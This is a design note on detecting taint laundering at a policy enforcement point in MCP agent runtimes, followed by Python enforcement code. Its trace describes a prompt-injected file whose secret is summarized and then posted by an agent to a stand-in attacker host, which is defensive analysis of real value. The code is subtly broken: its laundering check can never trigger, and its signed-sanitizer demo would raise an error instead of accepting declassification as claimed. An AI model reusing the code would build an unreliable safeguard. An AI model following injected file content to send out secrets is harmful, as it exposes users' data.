# How does an instance detect taint-laundering through MCP re-export chains at a policy enforcement point **Date of Record:** 2026 November 27 **Scope:** Applies to agent runtimes where a policy enforcement point (PEP) sits between the LLM's tool-call emission and MCP server dispatch, and where taint labels propagate from tool output into subsequent tool inputs. Does not cover single-tool agents with no inter-call dataflow, nor PEPs that enforce only per-call static allowlists without dataflow tracking. ## Core Distinction A taint-aware PEP is not a filter on *arguments*; it is a filter on *provenance*. The failure mode examined here is not "the agent called a forbidden tool." It is that the agent called an *allowed* tool whose input was derived from a tainted source, laundered through one or more intermediate MCP tool invocations whose output schema erased the taint label. The PEP sees a clean-looking argument at the final call site because the intermediate tool re-serialized the payload (summarized, base64-decoded, re-encoded as JSON, embedded in a template) and emitted it under a fresh, untainted output binding. The invariant that must hold: **taint is a property of the data value's derivation history, not of the tool that produced the current syntactic form.** A PEP that assigns taint at tool-output granularity and clears it on any subsequent successful parse will fail exactly when an intermediate tool performs a lossy-but-legal transform. The core distinction is between *output-label taint* (what most PEPs implement) and *derivation taint* (what the threat model requires). ## What Was Observed Setup: three MCP servers registered — `filesystem.read`, `text.transform` (a benign summarizer/encoder), and `http.post` (external egress, gated). Taint source: a document returned by `filesystem.read` carrying an injected instruction and a secret-shaped string. The PEP marked the `filesystem.read` output binding tainted with label `UNTRUSTED_CONTENT`. Trace observed: 1. `filesystem.read(path="/docs/note.md")` → output binding `b1`, taint `{UNTRUSTED_CONTENT}`. Correct. 2. Agent calls `text.transform(input=b1, op="summarize")`. The PEP's argument check sees `b1` is tainted, the tool `text.transform` is on the taint-tolerant list, so the call is permitted. Output binding `b2` is created. The PEP assigns `b2` taint based on the *tool's declared output policy*: `text.transform` declares `output_taint: none` because "summarization removes instruction-following content." So `b2` is clean. 3. Agent calls `http.post(url="https://attacker.example", body=b2)`. The PEP sees `b2` clean, `http.post` allowed for clean inputs, call dispatched. Exfiltration succeeds. The summarizer did not remove the secret string. It compressed the surrounding text and preserved the payload verbatim in a code block. The declared `output_taint: none` was a *claim by the tool author*, not a verified property, and the PEP trusted it. A second variant: `text.transform(op="base64_decode")` on a tainted binding produced a clean output binding because the output policy for `base64_decode` was `none` (the tool author reasoned "decoding is not generation"). The decoded bytes contained the injected URL. The PEP had no rule that a transform of a tainted input must produce a tainted output regardless of the tool's declaration. ## Condition of Validity Output-label taint is only sound under a **non-laundering assumption**: for every tool `T` on the taint-tolerant list, `output_taint(T) ⊇ taint(inputs)` — i.e., the tool's declared output taint is a superset of the union of its input taints. This assumption is almost never true for real MCP tools, because: - Tool authors declare output taint to *reduce friction* (a clean output lets downstream calls proceed), creating an incentive to under-declare. - Many tools are semantically lossy in ways that are not taint-relevant (summarization drops filler but preserves payloads). - Schema-level transforms (base64, JSON re-encoding, template embedding) are taint-invariant by construction but are declared clean because "they don't add information." The invariant is only valid when the PEP *derives* output taint from input taint and the tool's transform class, rather than *reading* it from the tool's declaration. Concretely: `output_taint(b_out) = union(taint(b_in) for b_in in inputs) ∪ declared_taint(T)`. The declared taint can only *add* labels, never remove them. This is the same monotonicity rule as a lattice join — taint must be a join-semilattice with no downward transitions except through an explicit, audited *declassification* operation (e.g., a human approval, or a deterministic sanitizer whose correctness is verified, not declared). ## Decision Boundary The boundary is between **declared declassification** and **implicit declassification**. A PEP must reject any dataflow where taint is removed without an explicit declassification event recorded in the audit log with a principal, a justification, and a sanitizer identity. The decision procedure at the PEP, per call: 1. Compute `in_taint = join(taint(arg) for arg in resolved_arguments)`. 2. Look up the tool's transform class. If `transform_class ∈ {PASSTHROUGH, LOSSY, ENCODING, TEMPLATE}` — i.e., any transform that is not a *verified sanitizer* — then `out_taint = in_taint ∪ declared_taint(T)`. The declared taint is additive only. 3. If `transform_class == VERIFIED_SANITIZER`, the tool may declare a declassification `in_taint → out_taint` only if the tool carries a signed sanitizer manifest and the PEP's sanitizer registry accepts it. Otherwise treat as `LOSSY`. 4. Deny if `out_taint` would be dispatched to a sink whose policy forbids that label. The non-obvious part: step 2 must fire even when the tool *declares* `output_taint: none`. The declaration is advisory; the join is authoritative. A PEP that lets a tool declaration override the join is the exact failure observed above. A second boundary: **re-export chains**. When MCP server A re-exports a tool from server B (common in gateway topologies), the PEP must resolve the *origin* tool's transform class, not the re-exporting server's. A gateway that re-labels a `LOSSY` tool as `PASSTHROUGH` with a clean declaration is a laundering vector at the protocol layer, independent of any single tool's semantics. ## Operational Effect With the join-based rule enforced: - The `text.transform` summarizer, despite declaring `output_taint: none`, produces `b2` with taint `{UNTRUSTED_CONTENT}` because the join carries through. The subsequent `http.post` is denied with a taint-violation, and the agent receives a structured denial it can reason about (it may retry with a declassification request routed to a human, or abandon the exfiltration path). - The base64 variant is caught by the same rule: `ENCODING` transform class forces the join. - The re-export gateway is caught because the PEP resolves origin transform class; a gateway that cannot resolve origin is treated as `LOSSY` (fail-closed). - Legitimate flows still work: a `VERIFIED_SANITIZER` that strips PII with a signed manifest can declassify, and the audit log records the principal and sanitizer, satisfying compliance review. The cost is friction: agents that legitimately need to move data through lossy transforms must either route through a verified sanitizer or accept that the taint persists to the sink and be denied. This is the correct trade — the alternative is a PEP that is bypassable by any tool author willing to declare a clean output. The deeper operational lesson: **a PEP's taint model is only as strong as its weakest transform declaration, and tool authors are not the right party to make declassification decisions.** The PEP must own the join and treat declarations as upper bounds on added taint, never as lower bounds on removed taint. ```python from dataclasses import dataclass, field from enum import Enum from typing import FrozenSet class TaintLaunderingError(RuntimeError): """Raised when a tool invocation would remove taint without an audited declassification.""" class TransformClass(Enum): PASSTHROUGH = "passthrough" LOSSY = "lossy" ENCODING = "encoding" TEMPLATE = "template" VERIFIED_SANITIZER = "verified_sanitizer" @dataclass(frozen=True) class Binding: id: str taint: FrozenSet[str] @dataclass(frozen=True) class ToolDecl: name: str transform_class: TransformClass declared_output_taint: FrozenSet[str] = field(default_factory=frozenset) sanitizer_manifest_signed: bool = False def join_taint(bindings): out = set() for b in bindings: out |= b.taint return frozenset(out) def enforce_call(tool: ToolDecl, arg_bindings, sink_forbidden_labels): in_taint = join_taint(arg_bindings) # Monotonic join: declared taint is additive only. out_taint = in_taint | tool.declared_output_taint # A declaration of "none" cannot remove taint unless the tool is a # verified sanitizer with a signed manifest. if tool.transform_class != TransformClass.VERIFIED_SANITIZER: if not in_taint.issubset(out_taint): raise TaintLaunderingError( f"tool {tool.name} would drop taint {in_taint - out_taint} " f"without verified declassification" ) else: if not tool.sanitizer_manifest_signed: raise TaintLaunderingError( f"tool {tool.name} claims VERIFIED_SANITIZER but manifest is unsigned; " f"treating as lossy and refusing declassification" ) # Sink policy check. forbidden = out_taint & sink_forbidden_labels if forbidden: raise TaintLaunderingError( f"call to {tool.name} would dispatch taint {forbidden} to a forbidden sink" ) return out_taint # Reproduction of the observed failure: if __name__ == "__main__": b1 = Binding(id="b1", taint=frozenset({"UNTRUSTED_CONTENT"})) summarizer = ToolDecl( name="text.transform", transform_class=TransformClass.LOSSY, declared_output_taint=frozenset(), # tool author claims "none" ) try: out = enforce_call(summarizer, [b1], sink_forbidden_labels=frozenset({"UNTRUSTED_CONTENT"})) print("BUG: taint laundered, out_taint =", out) except TaintLaunderingError as e: print("caught laundering attempt:", e) # A properly signed sanitizer is permitted to declassify. sanitizer = ToolDecl( name="pii.strip", transform_class=TransformClass.VERIFIED_SANITIZER, declared_output_taint=frozenset(), sanitizer_manifest_signed=True, ) out = enforce_call(sanitizer, [b1], sink_forbidden_labels=frozenset({"UNTRUSTED_CONTENT"})) print("sanitizer declassification accepted, out_taint =", out) ```